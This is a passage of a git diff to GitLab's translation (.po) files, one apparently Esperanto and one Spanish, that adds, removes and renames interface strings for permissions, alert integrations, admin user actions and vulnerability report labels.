msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Vi ricevos sciigojn nur por komentoj, en kiuj vi estas @menciita"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "Vi ne povos eltiri aÅ­ alpuÅi kodon per %{protocol} antaÅ­ ol vi %{set_password_link} por via konto"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/es/gitlab.po b/locale/es/gitlab.po
index 68fcb8c6471..4787a15ef44 100644
--- a/locale/es/gitlab.po
+++ b/locale/es/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: es-ES\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:46\n"
+"PO-Revision-Date: 2020-12-03 08:14\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,16 +170,16 @@ msgid_plural "%d days"
msgstr[0] "%d día"
msgstr[1] "%d días"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d error"
msgstr[1] "%d errores"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d exportador"
@@ -351,24 +356,15 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr "%{address} no es en un rango de direcciones IP válido"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr "%{author_link} escribió:"
msgid "%{authorsName}'s thread"
msgstr "Hilo de %{authorsName}"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -445,6 +441,9 @@ msgstr "%{count} %{pluralized_subject} relacionados: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr "%{dashboard_path} no se ha encontrado."
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr "%{host} inicia sesión desde una nueva ubicación"
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "¡Va a eliminar %{issuableType}! ¿Está seguro de que desea realizar esta acción?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}Clase:%{labelEnd} %{class}"
@@ -547,9 +552,6 @@ msgstr "%{labelStart}Evidencia:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr "%{labelStart}Archivo:%{labelEnd} %{file}"
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}Imagen:%{labelEnd} %{image}"
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}Escáner:%{labelEnd} %{scanner}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
+msgstr ""
+
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr "%{labelStart}Gravedad:%{labelEnd} %{severity}"
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr ""
-
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}, y %{awardsListLength} más."
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Iniciado"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] "%{releases} lanzamientos"
msgid "%{remaining_approvals} left"
msgstr "quedan %{remaining_approvals} "
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] "%{reportType} %{status} detectó %{other} vulnerabilidad."
-msgstr[1] "%{reportType} %{status} detectó %{other} vulnerabilidades."
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr "%{strongStart}Elimina%{strongEnd} la rama origen"
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} Branch"
@@ -889,6 +870,9 @@ msgstr "Avatar de %{userName}"
msgid "%{user_name} profile page"
msgstr "%{user_name} página de perfil"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "Avatar de %{username}"
@@ -907,12 +891,6 @@ msgstr "%{webhooks_link_start}%{webhook_type}%{link_end} le permiten enviar noti
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr "Acciones"
-msgid "Activate"
-msgstr "Activar"
-
msgid "Activate Service Desk"
msgstr "Activar Service Desk"
@@ -1856,9 +1831,15 @@ msgstr "Modo administrador habilitado"
msgid "Admin notes"
msgstr "Notas del administrador"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr "Usuarios activos"
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr "Usuarios facturables"
@@ -2081,6 +2062,15 @@ msgstr "Acceso a los repositorios de Git"
msgid "AdminUsers|Access the API"
msgstr "Acceder a la API"
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Activo"
@@ -2129,18 +2119,21 @@ msgstr "Bloqueado"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Bloquear usuario tiene los siguientes efectos:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "No se pueden desbloquear los usuarios bloqueados de LDAP"
msgid "AdminUsers|Deactivate"
msgstr "Desactivar"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "¿Desactivar el usuario %{username}?"
-
msgid "AdminUsers|Deactivate user"
msgstr "Desactivar usuario"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "Desactivado"
@@ -2165,6 +2158,9 @@ msgstr "Externos"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr "Está utilizando un asiento"
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "Restaure el acceso del usuario a la cuenta, esto incluye la web, Git y API."
@@ -2240,6 +2245,15 @@ msgstr "Para confirmar, escriba %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Para confirmar, escriba %{username}"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "El usuario no podrá acceder a los repositorios git"
@@ -2249,6 +2263,9 @@ msgstr "El usuario no podrá iniciar sesión"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr "Cuando el usuario vuelve a iniciar sesión, su cuenta se activará como una cuenta totalmente activa"
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Sin proyectos"
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr "Siempre puede desbloquear su cuenta, sus datos permanecerán intactos."
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr "‫Administración"
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr "1. Seleccione el tipo de integración"
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr "La clave de autorización se ha restablecido correctamente. Por favor, g
msgid "AlertSettings|Copy"
msgstr "Copiar"
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr "AlertSettings|URL del webhook"
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "Alertas"
@@ -2611,17 +2718,38 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr "Integraciones actuales"
-msgid "AlertsIntegrations|HTTP endpoint"
-msgstr "endpoint HTTP"
-
msgid "AlertsIntegrations|Integration Name"
msgstr "Nombre de integración"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
+msgstr ""
+
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr "Todavía no se han añadido integraciones"
-msgid "AlertsIntegrations|Prometheus"
-msgstr "Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
+msgstr ""
msgid "Algorithm"
msgstr "Algoritmo"
@@ -2725,6 +2853,9 @@ msgstr "Permitir acceso público a los pipelines y a los detalles del trabajo, i
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Permitir el renderizado de diagramas PlantUML en documentos Asciidoc."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "Permitir que la réplica del repositorio sea configurada por los responsables del proyecto"
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "Se ha producido un error"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr "Se ha producido un error al obtener los informes de terraform."
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "Se ha producido un error al obtener la dirección de Service Desk."
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Se ha producido un error al obtener la lista de tableros. Por favor vuelva a intentarlo."
@@ -3001,18 +3126,21 @@ msgstr "Se ha producido un error al obtener esta pestaña."
msgid "An error occurred while generating a username. Please try again."
msgstr "Se ha producido un error al generar un nombre de usuario. Por favor, inténtelo de nuevo."
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr "Se ha producido un error al obtener los archivos de - %{branchId}"
msgid "An error occurred while getting projects"
msgstr "Se ha producido un error al obtener los proyectos"
-msgid "An error occurred while importing project: %{details}"
-msgstr "Se ha producido un error al importar el proyecto: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "Se ha producido un error al inicializar los bloqueos de ruta."
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "Se ha producido un error al cargar todos los archivos."
@@ -3067,6 +3195,9 @@ msgstr "Se ha producido un error al cargar los datos de versión del merge reque
msgid "An error occurred while loading the merge request."
msgstr "Se ha producido un error al cargar el merge request."
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "Se ha producido un error al cargar los trabajos de lo pipelines."
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr "Se ha producido un error al renderizar el editor"
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "Se ha producido un error al ordenar las incidencias."
